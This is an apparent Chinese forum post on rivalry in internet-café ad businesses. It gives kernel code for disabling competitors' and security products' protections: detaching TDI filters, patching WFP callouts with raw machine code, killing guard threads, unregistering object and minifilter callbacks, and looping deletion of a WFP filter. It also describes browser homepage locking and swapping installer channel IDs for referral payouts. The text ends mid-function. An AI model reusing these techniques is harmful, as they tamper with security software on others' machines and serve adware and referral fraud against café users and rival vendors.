0


网吧业务安全对抗(有源码)

网吧业务竞争激烈,网吧都会有以下系统软件。

无盘:

无盘是指没有硬盘。好处是统一维护管理和节约成本。本人研究无盘好几年,后面会专门发帖介绍。

计费:

是指收费系统。

营销软件:

包括销售饮品、‌零食和向客户发送电子邮件营销和短信营销等。产品如网吧营销大师。

监管:

监管网吧黄赌毒的软件。

主动防御系统:

绝大多数网吧不装杀毒软件,因为有很多网络游戏都会被杀毒软件误报为病毒而被删除,

比如梦幻、大话、神泣等。而且网吧大多数单机游戏都是破解版,这些单机游戏十之八九也会被误报为病毒。

再有,网吧都是无盘系统,重启后安装的软件都会还原。

所以有了网吧的主动防御软件,相当于网吧的360卫士。

主要功能包括:网络拦截、进\线程、模块、文件、注册表、窗口拦截等。靠网络下发规则来执行拦截,如下图。

网吧增值业务:

已经形成了一个产业,包括下面几项。

1.chuangqi业务:

此业务竞争最激烈,每年billion的收益。因为chuanqi游戏一直很火,而且私服很多。

后面专门介绍如何对抗。

2.禁止添加桌面图标:

方法是,若我们驱动先启动: 使用minifilter拦截.lnk文件的创建

后启动: 拦截+删除白名单(自己的图标)以外的桌标。

所有的进程全部过滤。

3.登陆器封禁

有了抢浏览器,为啥还要有登陆器封禁。因为会从别的地方下载了sifu登陆器。这样可以forbid了竞品,弹出我们的登陆器。

4.渠道号:

替换软件安装包的渠道号,以拿到推广money。例如替换某游戏平台替换xxxxxx.db,就更改了渠道号。

5.浏览器锁主页:

驱动在进程回调中修改命令行参数。不懂的,可以见看雪文章 [原创]驱动锁主页方法一修改命令行参数-编程技术-看雪-安全社区|安全招聘|kanxue.com

下面介绍chuangqi业务:

因为用户玩传奇是从网站上下载,所以第三方软件会弹出广告令其下载。弹广告是由C端的程序控制,会抢占浏览器。

占浏览器无外乎是两种方法: 一个是网络过滤驱动(如WFP),一个是Hook浏览器。

除了抢浏览器手段一外,还会主动出击,攻破网吧的其它增值软件,不让其弹传奇Ads。

为了让我们的页面弹出来,竞品的业务不弹。我先采用的是Attack方法,先发制人。

安全是围绕攻防展开的。攻防是对立统一的。对立好理解,统一是: 防得好要先学攻,攻得好要理解防御。

攻击一点发力击破,难的是寻找突破点。防御是以一敌十,但需要考虑很全面。

所以安全很有研究价值的。

本文先聊下如何对付抢占浏览器,然后说下怎么防御对方攻击。

先介绍下TDI、WFP。

1.TDI:

TDI,Transport Driver Interface,传输驱动程序接口。TDI是早期的模型,虽说微软不推荐,但使用起来不影响。

TDI的引出是Microsoft在网络API程序和协议驱动之间又增加了一层即TDI。

什么要增加一层,因为微软希望通过分层后,工程师各司其职、分别开发。

TDI是微软提供的内核网络驱动模型中的编程接口规范,而不是部件,和NDIS一样。像AFD、TCPIP、NDIS驱动则是一个实现具体功能的部件,如下图:

上图来自看雪一半人生的文章。

下面介绍下Ring3到Ring0的网络分层结构:

ws2_32.dll提供了基本的socket相关函数(例如socket,bind,listen等)。

Windows在用户层提供了一种过滤网络数据包的HOOK方案,这个就是Layered service provider(也就是我们通常说的LSP),通过这种技术我们对网络包进行HOOK了,国内很多大厂用的都是这种技术。

Socket是一种统一的规范,无论是Windows还是Linux他们对外提供的接口都是一样的。在Windows下面Socket被转换成为设备的IO操作,并且提供了一个AFD.SYS(Ancillary Function Driver for WinSock)的驱动模块来辅助。

tcpip是一个网络协议驱动程序,对底层他提供了一个NIDS协议驱动,对上层他提供了应对TCP,UDP,RAWIP等不同协议的设备对象。

nicxxx是网卡驱动。

2.WFP:

WFP是windows推出来的新一代对网络数据进行操作的框架,用于取代TDI框架。WFP很灵活,就是框架有些重。用TDI实现网络功能也是完全可行的。

WFP的架构图如下:

WFP最重要的是下面几个组件:

过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。

Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。

Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)

Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。

当然还有Provider。它只用于管理, 不参与网络数据的过滤。

WFP有个弱点,特别是网吧环境,若关掉了BFE服务,WFP驱动就失效了:

再说下对抗网络过滤驱动:

1、TDI对抗:

TDI驱动的核心就是对于\Device\Tcp,\Device\Udp二个设备进行过滤,形成设备栈,然后对每个IRP进行处理。

然后讲下怎么遍历删除TDI钩子:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

        
//获取tdi钩子并移除------------------------------------
    
UNICODE_STRING uniNtNameString;
    
PDEVICE_OBJECT pTargetDeviceObject = NULL;
    
PFILE_OBJECT pTargetFileObject = NULL;
    
PDEVICE_OBJECT pTdxXxDevObj = NULL;
    
for
(
int
i = 0; i < 2; i++)
    
{
        
if
(i == 0) 
//TCP
        
{
            
RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME);
            
pTdxXxDevObj = g_pTdxTcpDevObj;
        
}
        
else
//UDP
        
{
            
RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME);
            
pTdxXxDevObj = g_pTdxUdpDevObj;
        
}
        
        
status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject);
        
if
(NT_SUCCESS(status))
        
{
            
if
(pTargetFileObject)
                
ObDereferenceObject(pTargetFileObject);
            
KdPrint((
"%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%p\n"
,
                
i == 0 ? 
"TCP"
: 
"UDP"
,
                
&(pTargetDeviceObject->DriverObject->DriverName),
                
pTargetDeviceObject->DriverObject,
                
pTargetDeviceObject));
            
WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer,
                
szDriverPath, 
sizeof
(szDriverPath));
            
nKillOrSuspendThread = pnKillCallback = 0;
            
if
(IsBlackDriver((
ULONG_PTR
)pTargetDeviceObject->DriverObject->DriverStart,
                
pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
            
{
                
KdPrint((
"Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"
,
                    
szDriverPath, (
PVOID
)ulBase, (
PVOID
)ulSize));
                
if
(nKillOrSuspendThread & NormalKill)
                    
KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath);
                
if
(nKillOrSuspendThread & SpecialKill) 
//某清x卫士
                    
KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, 
"pci.sys"
);
                
if
(pnKillCallback & KillTdiCallback)
                
{
                    
if
(pTdxXxDevObj && pTdxXxDevObj->AttachedDevice
                        
&& (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject))
                    
{
                        
IoDetachDevice(pTdxXxDevObj);
                        
KdPrint((
"Remove TdiCallback!\r\n"
));
                    
}
                
}
            
}
        
}
        
else
        
{
            
KdPrint((
"%s IoGetDeviceObjectPointer error:0x%x!"
, i == 0 ? 
"TCP"
: 
"UDP"
, status));
            
pTargetFileObject = NULL;
            
pTargetDeviceObject = NULL;
        
}
    
}

查找有TDI功能且是竞品的驱动,然后IoDetachDevice删除。下面是查找Tcp、Udp的tdi设备:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

VOID
GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj,
    
PDEVICE_OBJECT* ppUdpDevObj)
{
    
NTSTATUS status;
    
UNICODE_STRING tdx_name, tcp_name, udp_name;
    
PDRIVER_OBJECT pTdxDriver = NULL;
    
PDEVICE_OBJECT pDevObj = NULL;
    
PUNICODE_STRING pObjectName = NULL;
    
ULONG
ulReturLength = 0;
    
RtlInitUnicodeString(&tcp_name, L
"\\Device\\Tcp"
);
    
RtlInitUnicodeString(&udp_name, L
"\\Device\\Udp"
);
    
status = ObReferenceObjectByName(&tdx_name,
        
OBJ_CASE_INSENSITIVE,
        
NULL,
        
0,
        
(POBJECT_TYPE)(*IoDriverObjectType),
        
KernelMode,
        
NULL,
        
(
PVOID
*)&pTdxDriver);
    
if
(pTdxDriver)
    
{
        
pDevObj = pTdxDriver->DeviceObject;
        
while
(pDevObj) 
// iterate through DEVICE_OBJECT
        
{ 
// linked list
            
status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength);
            
if
(status == STATUS_INFO_LENGTH_MISMATCH)
            
{
                
pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, 
'hwb'
);
                
if
(!pObjectName)
                    
return
;
                
status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength);
                
if
(status == STATUS_SUCCESS)
                
{
                    
if
(RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE))
                    
{
                        
if
(!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE))
                        
{
                            
//ObfReferenceObject(pDevObj);
                            
if
(ppUdpDevObj)
                                
*ppUdpDevObj = pDevObj; 
// Save pointer to \Device\Udp
                        
}
                    
}
                    
else
                    
{
                        
//ObfReferenceObject(pDevObj);
                        
if
(ppTcpDevObj)
                            
*ppTcpDevObj = pDevObj; 
// Save pointer to \Device\Tcp
                    
}
                
}
                
ExFreePoolWithTag(pObjectName, 
'hwb'
);
            
}
            
pDevObj = pDevObj->NextDevice; 
// get pointer to next DEVICE_OBJECT
            
// in the list
        
}
        
ObfDereferenceObject(pTdxDriver);
    
}
}

总结: 由于TCP\UDP设备是绑定在设备栈上的,所以Detach可以解除绑定,又判断了黑名单,所以驱动功能稳定。

2、WFP对抗:

1). 恢复WFP钩子:

a). 首先是找到gWfpGlobal表,然后遍历。核心代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

NTSTATUS EnumerateWfpCallbacks()
{
    
NTSTATUS status = STATUS_SUCCESS;
    
    
ULONG_PTR
ulDriverBase= GetMemoryDriverBase(
"netio.sys"
);
    
ULONG_PTR
ulFeGetWfpGlobalPtrAddress=
        
GetAddressFromFunction((
PVOID
)ulDriverBase, 
"FeGetWfpGlobalPtr"
);
    
KdPrint((
"FeGetWfpGlobalPtr地址:0x%p\r\n"
, ulFeGetWfpGlobalPtrAddress));
    
if
(ulFeGetWfpGlobalPtrAddress && MmIsAddressValid((
PVOID
)ulFeGetWfpGlobalPtrAddress))
    
{
        
//0: kd > uf netio!FeGetWfpGlobalPtr
        
//NETIO!FeGetWfpGlobalPtr:
        
//fffff807`39b99210 488b0549130500  mov     rax, qword ptr[NETIO!gWfpGlobal(fffff807`39bea560)]
        
//fffff807`39b99217 c3              ret
        
ULONG_PTR
ul_gWfpGlobal = (
ULONG_PTR
)(*(
PULONG
)(ulFeGetWfpGlobalPtrAddress + 3)) +
            
ulFeGetWfpGlobalPtrAddress + 7; 
//7为指令长度
        
if
(ul_gWfpGlobal && MmIsAddressValid((
PVOID
)ul_gWfpGlobal))
        
{
            
KdPrint((
"gWfpGlobal地址:0x%p\r\n"
, ul_gWfpGlobal));
            
int
nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0;
            
int
nCount = 0;
            
GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize);
            
//dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50
            
for
(
int
i = 0; i < nEntriesNum; i++)
            
{
                
ULONG_PTR
ulClassifyAddress = *(
PULONG64
)(*(
PULONG64
)ul_gWfpGlobal +
                    
nCalloutStructOffset) + nCalloutStructSize * i + 16;
                
KdPrint((
"ClassifyAddress地址:0x%p\r\n"
, *(
PULONG_PTR
)ulClassifyAddress));
                
if
(*(
PULONG_PTR
)ulClassifyAddress)
                    
nCount++;
            
}
            
KdPrint((
"总共%d个Callout\r\n"
, nCount));
        
}
        
else
            
KdPrint((
"获得gWfpGlobal地址错误!\r\n"
));
    
}
    
else
        
KdPrint((
"获得FeGetWfpGlobalPtr地址错误!\r\n"
));
    
return
status;
}

上面GetWfpCalloutOffset函数根据OS版本获得Callouts数量、偏移和大小。方法是分析内核netio!FeInitCalloutTable和netio!InitDefaultCallout得到。代码见附件EnumWFPCallouts,支持win7、win10、win11。

b).删除WFP的Callouts

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

if
(ulClassifyAddress && MmIsAddressValid((
PVOID
)ulClassifyAddress))
{
    
ULONG_PTR
ulClassifyFunction = *(
PULONG_PTR
)ulClassifyAddress;
    
KdPrint((
"ClassifyAddress地址:0x%p\r\n"
, ulClassifyFunction));
    
if
(ulClassifyFunction)
        
nCount++;
    
if
(ulClassifyFunction && MmIsAddressValid((
PVOID
)ulClassifyFunction))
    
{
        
if
(FindModuleByAddress(pSysModuleList, ulClassifyFunction,
            
szDriverPath, &ulBase, &ulSize))
        
{
            
KdPrint((
"Driver is:%s\r\n"
, szDriverPath));
            
nKillOrSuspendThread = pnKillCallback = 0;
            
//判断是否竞品
            
if
(IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
            
{
                
KdPrint((
"Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"
,
                    
szDriverPath, (
PVOID
)ulBase, (
PVOID
)ulSize));
                
//先干掉保护线程
                
if
(nKillOrSuspendThread & NormalKill)
                    
KillDriverAllThreadByCallBack(pSysModuleList, (
PVOID
)ulClassifyFunction, szDriverPath);
                
if
(nKillOrSuspendThread & SpecialKill) 
//某清x卫士
                    
KillDummyDriverAllThreadByCallBack(pSysModuleList, (
PVOID
)ulClassifyFunction, 
"pci.sys"
);
                
//再Patch竞品钩子
                
if
(pnKillCallback & KillWFP)
                
{
                    
//Patch
                    
/*0xFFFFF80619911940 48 8B 44 24 38      mov rax, qword ptr[rsp + 0x38]
                      
0xFFFFF80619911945 C7 00 02 10 00 00   mov dword ptr[rax], 0x1002
                      
0xFFFFF8061991194B C3                   ret*/
                    
char
szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02,
                        
0x10,0x00,0x00,0xC3 };
                    
SafeCopyMemory((
PVOID
)ulClassifyFunction, szPatchCode, 12);
                    
KdPrint((
"Remove WFPCallout Success\r\n"
));
                
}
            
}
        
}
    
}
}

前面IsBlackDriver根据竞品内存字符串、设备名、签名、文件内存大小定位。

上面定义了个枚举类型,表示特征码的类型。

上文的注释为什么"先干掉保护线程"再"Patch竞品钩子",因为移除钩子,保护线程会将其恢复。

清x卫士的保护线程在pci.sys中。它把保护线程注入shellcode到pci.sys空隙里了。

查找保护线程首先上ARK工具,右键->驱动线程:

然后挂起上图线程。

有的保护线程并不在自己空间里,这时候就要用到VT CPU虚拟化,Hook保护线程调用的保护API函数,然后打印进\线程ID。

关于VT后面还会提及。

2). 删除WFP的Filter

上文介绍了遍历并移除WFP Callout,下面介绍下另一种对抗方法,Ring3删除Filter:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

// 删除指定的 WFP Filter
DWORD
DeleteWFPFilter(
const
GUID& filterKey) {
    
DWORD
result = NO_ERROR;
    
HANDLE
engineHandle = NULL;
    
FWPM_FILTER0 filter = { 0 };
    
// 打开 WFP Engine
    
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);
    
if
(result != NO_ERROR) {
        
std::cerr << 
"Failed to open WFP engine. Error code: "
<< result << std::endl;
        
return
result;
    
}
    
// 根据 Filter Key 构建 Filter 条件
    
filter.filterKey = filterKey;
    
// 删除 Filter
    
result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey);
    
if
(result != NO_ERROR) {
        
std::cerr << 
"Failed to delete WFP filter. Error code: "
<< result << std::endl;
    
}
    
// 关闭 WFP Engine
    
FwpmEngineClose0(engineHandle);
    
return
result;
}
int
main() {
    
// 要删除的 WFP Filter 的 Key
    
//{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B}
    
GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } };
    
while
(
true
)
    
{
        
// 删除 WFP Filter
        
DWORD
result = DeleteWFPFilter(filterKey);
        
if
(result == NO_ERROR) {
            
std::cout << 
"WFP filter deleted successfully."
<< std::endl;
        
}
        
Sleep(3000);
    
}
    
    
return
0;
}

指定GUID号,即可删除。使用WFPExp.exe查看:

再聊下如何对付Hook浏览器。竞品挂钩浏览器注入dll后,会跳转到自己的页面。

对抗思路:

1.若是进程Hook的,查找注入浏览器的进程,然后挂起或结束。

2.若是驱动注入的,Patch注入线程或恢复回调。

3.UnHook浏览器。

一、 查找注入浏览器的进程

  1. 扫描无模块注入的内存:

现在很少用有模块注入了,为了隐蔽。所以都是无模块注入。应用层代码网上有,内核代码注入还可以隐藏dll。

使用Cheate Engine一次只能扫描一个内存:

所以我写了下面这段代码扫描所有内存:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

BOOL
SearchMem(
const
HANDLE
& process, 
BYTE
* lpData, 
int
iSize, 
    
URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls,
    
std::unordered_set<std::string>& sJsInjectUrls)
{
    
SYSTEM_INFO si;
    
GetSystemInfo(&si);
    
ULONG_PTR
start = (
ULONG_PTR
)si.lpMinimumApplicationAddress;
    
ULONG_PTR
end = (
ULONG_PTR
)si.lpMaximumApplicationAddress;
    
MEMORY_BASIC_INFORMATION info;
    
SIZE_T
bytesRead = 0;
    
ULONG_PTR
readIndex = start;
    
int
totalBytesRead = 0;
    
BOOL
bFind = FALSE;
    
int
iFlag = 0;
    
while
(readIndex < end)
    
{
        
if
(VirtualQueryEx(process, (
LPCVOID
)readIndex, &info, 
sizeof
(info)) == 0) {
            
_printf(
"VirtualQueryEx==0!!!"
);
            
break
;
        
}
        
readIndex = (
ULONG_PTR
)info.BaseAddress;
        
if
(info.State != MEM_COMMIT
            
|| info.Type != MEM_PRIVATE) 
//扫描的无模块内存
        
{
            
readIndex += info.RegionSize;
            
continue
;
        
}
        
SIZE_T
bytesToRead = info.RegionSize;
        
char
* buffer = 
new
char
[bytesToRead];
        
if
(!buffer)
        
{
            
_printf(
"分配内存失败!\r\n"
);
            
return
FALSE;
        
}
        
memset
(buffer, 0, bytesToRead);
        
bytesRead = 0;
        
BOOL
bReadSuccess = ReadProcessMemory(process, (
LPCVOID
)readIndex, buffer, bytesToRead, &bytesRead);
        
if
(bytesRead && (bytesRead - iSize>0))
        
{
            
for
(
int
i = 0; i < (bytesRead - iSize); i++)
            
{
                
if
(
memcmp
(buffer + i, lpData, iSize) == 0)
                
{
                    
if
(enumUrlType == SCAN_MEM)
                    
{
                        
bFind = TRUE;
                        
break
;
                    
}
                
}
            
}
        
}
        
        
if
(!bReadSuccess)
        
{
            
if
(bytesRead <= 0)
                
bytesRead = info.RegionSize;
        
}
        
totalBytesRead += bytesRead;
        
readIndex += bytesRead;
        
delete
[] buffer;
    
}
    
return
bFind;
}

上面代码扫描了所有进程,加了 info.Type != MEM_PRIVATE 判断,加快扫描速度。因为无模块内存的属性MEM_PRIVATE。

2、VT查找无模块注入的内存:

大多数注入内存都要调用NtAllocateVirtualMemory、NtWriteVirtualMemory两个API。

下面来自我写的ddimon修改版的代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

NTSTATUS DdimonpHandleNtWriteVirtualMemory(
    
IN 
HANDLE
ProcessHandle, IN 
PVOID
BaseAddress, IN 
PVOID
Buffer,
    
IN 
SIZE_T
NumberOfBytesToWrite, OUT 
PSIZE_T
NumberOfBytesWritten OPTIONAL) 
{
  
HYPERPLATFORM_LOG_INFO_SAFE(
"enter DdimonpHandleNtWriteVirtualMemory!\r\n"
);
  
const
auto
original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory);
  
if
(!original) 
      
return
STATUS_SUCCESS;
  
BOOL
bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite,
                  
NumberOfBytesWritten);
  
PEPROCESS pSourceEprocess = PsGetCurrentProcess();
  
if
(!pSourceEprocess) {
    
DbgPrint(
"pSourceEprocess is null!\r\n"
);
    
return
bSuccess;
  
}
  
PETHREAD pSourceEthread = PsGetCurrentThread();
  
if
(!pSourceEthread) {
    
DbgPrint(
"pSourceEthread is null!\r\n"
);
    
return
bSuccess;
  
}
  
HANDLE
hSourcePid = PsGetProcessId(pSourceEprocess);
  
HANDLE
hSourceTid = PsGetThreadId(pSourceEthread);
  
if
((
LONG_PTR
)ProcessHandle == -1) {
    
return
bSuccess;
  
}
  
ULONG_PTR
ulPid = HandleToPid(ProcessHandle);
  
CHAR
szSrcImageFilePath[MAX_PATH] = {0};
  
WCHAR
wzSrcImageFilePath[MAX_PATH] = {0};
  
GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH);
  
CHAR
szDestImageFilePath[MAX_PATH] = {0};
  
WCHAR
wzDestImageFilePath[MAX_PATH] = {0};
  
GetProcessImageFilePathSafeIrql((
HANDLE
)ulPid, wzDestImageFilePath, MAX_PATH);
  
//判断谁注入浏览器用
  
if
(!_stricmp(szDestImageFilePath, 
"chrome.exe"
)) 
//以及其它浏览器进程exe
  
{
    
//若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串
    
int
index = binaryStringSearch((
char
*)
"vmp0"
, FALSE,
                                   
(
char
*)Buffer, (
int
)NumberOfBytesToWrite);
    
if
(index != -1) {
      
KdPrint(
          
(
"NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
           
"源进程名:%s,目的进程名:%s,地址:0x%p,长度:%d\r\n"
,
           
hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
           
szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
    
} 
else
{
      
KdPrint(
          
(
"NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d,"
           
"源进程名:%s,目的进程名:%s,地址:0x%"
           
"p,长度:%d\r\n"
,
           
hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,
           
szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));
    
}
  
}
  
return
bSuccess;
}

用VT虚拟化技术,Hook了系统所有调用NtWriteVirtualMemory的函数,里面判断了"vmp0"字符串,

因为注入的都是加了壳的代码,大多是vmp壳,不是vmp的替换"vmp0"字符串。代码里有打印

调用进程Id和线程Id,以找到是谁注入的。

二、驱动注入的处理:

驱动注入dll,一般用LoadImageNotify拦截或遍历进程。所以应对方法是去掉LoadImageNotify钩子或挂起遍历进程的驱动线程。

三、UnHook浏览器:

因为Hook浏览器,一般是jmp xxxx,所以检测浏览器内存和文件是否相同。不同的再判断是否为jmp指令,是则从文件中拷贝恢复。

由于字数限制,无法这里展示代码。附件有部分代码,有空我再发一个帖子。

然后说下如何防御对方攻击:

广告业务会使用x64的CreateProcessNotify回调使我们页面弹不出来;

LoadImageNotify回调拦截我们软件驱动签名,或Patch我们驱动入口点;

KillObCallback保护自己线程不被打开;

LoadImageNotify会拦截我们软件驱动加载;

minifilter会拦截我们驱动文件释放;

CreateThreadNotify会拦截我们注入无模块进程;

对抗方法是移除对方回调,CreateProcessNotify回调\LoadImageNotify回调\CreateThreadNotify回调的移除方法略过。

下面给出KillObCallback、minifilter回调移除的代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

//获取Ob回调地址并移除
POB_CALLBACK pObCallback = NULL;
PVOID
pObHandle[100] = { 0 };
int
nObHandleCount = 0;
//获取Ob回调地址并移除
for
(
int
i = 0; i < 2; i++)
{
    
LIST_ENTRY CallbackList;
    
if
(i==0)
        
CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList;
    
else
        
CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList;
    
// 开始遍历
    
pObCallback = (POB_CALLBACK)CallbackList.Flink;
    
do
    
{
        
if
(FALSE == MmIsAddressValid(pObCallback))
        
{
            
break
;
        
}
        
if
(NULL != pObCallback->ObHandle)
        
{
            
// 显示
            
KdPrint((
"ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n"
,
                
pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall));
            
PVOID
pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall;
            
if
(pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
            
{
                
if
(FindModuleByAddress(pSysModuleList, (
ULONG_PTR
)pPreOrPostCall,
                    
szDriverPath, &ulBase, &ulSize))
                
{
                    
KdPrint((
"Driver is:%s\r\n"
, szDriverPath));
                    
nKillOrSuspendThread = pnKillCallback = 0;
                    
if
(IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
                    
{
                        
KdPrint((
"Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"
,
                            
szDriverPath, (
PVOID
)ulBase, (
PVOID
)ulSize));
                        
if
(nKillOrSuspendThread & NormalKill)
                            
KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
                        
if
(nKillOrSuspendThread & SpecialKill) 
//某清x卫士
                            
KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, 
"pci.sys"
);
                        
if
(nKillOrSuspendThread & AdxxObProtectKill) 
//某hunter
                            
KillAdHunterObProtectThread(ulBase, ulSize);
                        
if
(MmIsAddressValid(pObCallback->ObHandle))
                        
{
                            
if
(pnKillCallback & KillObCallback)
                            
{
                                
if
(nObHandleCount < 
sizeof
(pObHandle) / 
sizeof
(
PVOID
))
                                
{
                                    
pObHandle[nObHandleCount] = pObCallback->ObHandle;
                                    
nObHandleCount++;
                                    
KdPrint((
"Remove ObCallback!\r\n"
));
                                
}
                            
}
                        
}
                    
}
                
}
            
}
        
}
        
// 获取下一链表信息
        
pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink;
    
} 
while
(CallbackList.Flink != (PLIST_ENTRY)pObCallback);
}
for
(
int
i=0;i< nObHandleCount;i++)
{
    
ObUnRegisterCallbacks(pObHandle[i]);
}

上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

//minifilter钩子移除
ULONG
ulFilterListSize = 0;
PFLT_FILTER* ppFilterList = NULL;
LONG
lOperationsOffset = 0;
PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL;
lOperationsOffset = GetMinifilterOperationsOffset();
if
(0 == lOperationsOffset)
{
    
KdPrint((
"GetOperationsOffset Error\n"
));
    
ExFreePool(pSysModuleList);
    
return
;
}
// 获取 Minifilter 过滤器Filter 的数量
FltEnumerateFilters(NULL, 0, &ulFilterListSize);
ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool,
    
ulFilterListSize * 
sizeof
(PFLT_FILTER), 
'hwb'
);
if
(NULL == ppFilterList)
{
    
KdPrint((
"ExAllocatePoolWithTag Error!\n"
));
    
ExFreePool(pSysModuleList);
    
return
;
}
// 获取 Minifilter 中所有过滤器Filter 的信息
status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize);
if
(!NT_SUCCESS(status))
{
    
KdPrint((
"FltEnumerateFilters Error![0x%X]\n"
, status));
    
ExFreePool(pSysModuleList);
    
ExFreePool(ppFilterList);
    
return
;
}
// 开始遍历 Minifilter 中各个过滤器Filter 的信息
__try
{
    
for
(i = 0; i < (
int
)ulFilterListSize; i++)
    
{
        
// 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER
        
pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(
PVOID
*)((
PUCHAR
)ppFilterList[i] + lOperationsOffset));
        
__try
        
{
            
// 同一过滤器下的回调信息
            
//DbgPrint("-------------------------------------------------------------------------------\n");
            
while
(IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction)
            
{
                
{
                    
PVOID
pPreOrPostCall = pFltOperationRegistration->PreOperation 
                        
? (
PVOID
)pFltOperationRegistration->PreOperation :
                        
(
PVOID
)pFltOperationRegistration->PostOperation;
                    
